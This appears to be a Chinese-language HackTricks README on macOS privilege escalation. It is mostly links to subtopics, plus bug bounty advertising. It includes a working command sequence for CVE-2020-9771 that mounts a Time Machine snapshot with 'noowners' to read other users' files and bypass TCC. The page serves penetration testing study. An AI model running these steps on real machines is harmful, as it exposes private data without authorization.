hacktricks/macos-hardening/macos-security-and-privilege-escalation/README.md
2023-08-03 19:12:22 +00:00

9.6 KiB
Raw Blame History

macOS安全与权限提升

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof是所有加密漏洞赏金的家园。

即时获得奖励
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞经过验证后您将获得奖励。

在web3渗透测试中积累经验
区块链协议和智能合约是新的互联网在其崛起之时掌握web3安全。

成为web3黑客传奇
每次验证的漏洞都会获得声誉积分,并登上每周排行榜的榜首。

在HackenProof上注册 从您的黑客行动中获利!

{% embed url="https://hackenproof.com/register" %}

基本的MacOS

如果您对macOS不熟悉您应该开始学习macOS的基础知识

  • 特殊的macOS文件和权限:

{% content-ref url="macos-files-folders-and-binaries/" %} macos-files-folders-and-binaries {% endcontent-ref %}

  • 常见的macOS用户

{% content-ref url="macos-users.md" %} macos-users.md {% endcontent-ref %}

  • AppleFS

{% content-ref url="macos-applefs.md" %} macos-applefs.md {% endcontent-ref %}

  • 内核架构

{% content-ref url="mac-os-architecture/" %} mac-os-architecture {% endcontent-ref %}

  • 常见的macOS网络服务和协议

{% content-ref url="macos-protocols.md" %} macos-protocols.md {% endcontent-ref %}

MacOS MDM

在公司中,macOS系统很可能会通过MDM进行管理。因此,从攻击者的角度来看,了解它是如何工作的是很有意义的:

{% content-ref url="../macos-red-teaming/macos-mdm/" %} macos-mdm {% endcontent-ref %}

MacOS - 检查、调试和模糊测试

{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %} macos-apps-inspecting-debugging-and-fuzzing {% endcontent-ref %}

MacOS安全保护

{% content-ref url="macos-security-protections/" %} macos-security-protections {% endcontent-ref %}

攻击面

文件权限

如果以root身份运行的进程写入一个可以被用户控制的文件,用户可以利用这一点来提升权限
这种情况可能发生在以下情况下:

  • 使用的文件已经由用户创建(由用户拥有)
  • 使用的文件由于一个组的原因可被用户写入
  • 使用的文件位于用户拥有的目录中(用户可以创建文件)
  • 使用的文件位于由root拥有但用户具有写入权限的目录中用户可以创建文件

能够创建一个将被root使用的文件,允许用户利用其内容,甚至创建符号链接/硬链接将其指向另一个位置。

对于这种类型的漏洞,不要忘记检查易受攻击的.pkg安装程序

{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %} macos-installers-abuse.md {% endcontent-ref %}

权限滥用和特权滥用通过进程滥用

如果一个进程可以向具有更高特权或权限的另一个进程注入代码或与其联系以执行特权操作,它可以提升权限并绕过防御措施,如SandboxTCC

{% content-ref url="macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

文件扩展名和URL方案应用程序处理程序

通过文件扩展名注册的奇怪应用程序可能会被滥用,并且可以注册不同的应用程序来打开特定的协议。

{% content-ref url="macos-file-extension-apps.md" %} macos-file-extension-apps.md {% endcontent-ref %}

MacOS权限提升

CVE-2020-9771 - mount_apfs TCC绕过和权限提升

任何用户(即使是非特权用户)都可以创建和挂载时间机器快照,并访问该快照的所有文件
唯一需要的特权是所使用的应用程序(如Terminal)具有完全磁盘访问权限FDAkTCCServiceSystemPolicyAllfiles),需要由管理员授予。

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

{% endcode %}

更详细的解释可以在原始报告中找到

敏感信息

{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %} macos-sensitive-locations.md {% endcontent-ref %}

Linux提权

首先,请注意大多数关于特权提升的技巧都会影响MacOS机器。所以请参考:

{% content-ref url="../../linux-hardening/privilege-escalation/" %} privilege-escalation {% endcontent-ref %}

MacOS防御应用程序

参考资料

HackenProof是所有加密漏洞赏金的家园。

即时获得奖励
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞经过验证后您将获得奖励。

在web3渗透测试中积累经验
区块链协议和智能合约是新的互联网在其兴起的日子里掌握web3安全。

成为web3黑客传奇
每次验证的漏洞都会获得声誉积分,并占领每周排行榜的榜首。

在HackenProof上注册开始从您的黑客行动中获利!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥